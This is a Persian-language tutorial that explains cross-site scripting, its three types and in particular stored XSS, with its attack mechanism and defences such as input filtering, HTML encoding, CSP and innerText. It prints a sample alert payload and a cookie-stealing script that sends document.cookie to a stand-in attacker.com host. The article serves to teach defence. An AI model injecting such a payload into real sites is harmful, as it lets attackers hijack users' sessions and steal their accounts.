آسیبپذیری XSS چیست؟
XSS (Cross-Site Scripting) یک نوع آسیبپذیری امنیتی در برنامههای تحت وب است که به مهاجم اجازه میدهد اسکریپتهای مخرب را در صفحات وب اجرا کند. این کدهای مخرب معمولاً در مرورگر کاربران اجرا میشوند و میتوانند برای دزدیدن اطلاعات، تغییر محتوای صفحه، هدایت کاربران به صفحات مخرب و حتی کنترل کامل حسابهای کاربری استفاده شوند.
انواع XSS
XSS به سه نوع اصلی تقسیم میشود:
- Stored XSS (ذخیرهشده)
- Reflected XSS (بازتابی)
- DOM-Based XSS (مبتنی بر DOM)
۱. Stored XSS (ذخیرهشده)
Stored XSS خطرناکترین نوع این آسیبپذیری است. در این نوع، اسکریپت مخرب در دیتابیس یا سرور برنامه ذخیره شده و هر بار که یک کاربر صفحهای را مشاهده میکند، بدون نیاز به تعامل مستقیم با مهاجم، اجرا میشود.
مکانیزم حمله Stored XSS
- مهاجم اسکریپت مخرب را در یک فرم ورودی مانند بخش نظرات، پروفایل کاربری یا هر ورودی ذخیرهشده دیگری وارد میکند.
- این اسکریپت در دیتابیس ذخیره میشود.
- وقتی کاربر دیگری صفحهای که حاوی ورودی آلوده است را باز میکند، کد مخرب در مرورگر او اجرا میشود.
- اسکریپت میتواند کوکیها را بخواند، اطلاعات کاربر را سرقت کند، محتوای صفحه را تغییر دهد یا حتی کاربر را به یک سایت مخرب هدایت کند.
مثال از Stored XSS
تصور کنید که یک سایت دارای بخش نظرات است و ورودی کاربران را بدون فیلتر در دیتابیس ذخیره میکند. مهاجم کد زیر را در بخش نظرات وارد میکند:
<script>alert('Hacked!');</script>
هر کاربری که این صفحه را مشاهده کند، این اسکریپت در مرورگر او اجرا خواهد شد. یک حمله واقعی میتواند پیچیدهتر باشد، مثلاً:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie;</script>
این کد کوکیهای کاربر را به سرور مهاجم ارسال میکند.
چگونه Stored XSS را جلوگیری کنیم؟
- فیلتر کردن ورودیها: حذف یا بیاثر کردن کدهای مخرب (مانند
script
،onload
،onclick
و غیره). - استفاده از HTML Encoding: کاراکترهای خاص مانند
<
,>
و"
را به نسخه امن آنها (<
,>
,"
) تبدیل کنید. - استفاده از Content Security Policy (CSP): اجرای اسکریپتهای ناخواسته را در مرورگر محدود کنید.
- عدم نمایش مستقیم ورودیهای کاربر: دادههای ورودی را به درستی بررسی کرده و از روشهایی مانند
innerText
به جایinnerHTML
استفاده کنید.
جمعبندی
Stored XSS یکی از خطرناکترین انواع XSS است که به دلیل ذخیره شدن در سرور، کاربران زیادی را تحت تأثیر قرار میدهد. جلوگیری از این حمله نیازمند فیلتر کردن ورودیها، استفاده از HTML Encoding و پیادهسازی سیاستهای امنیتی مناسب است.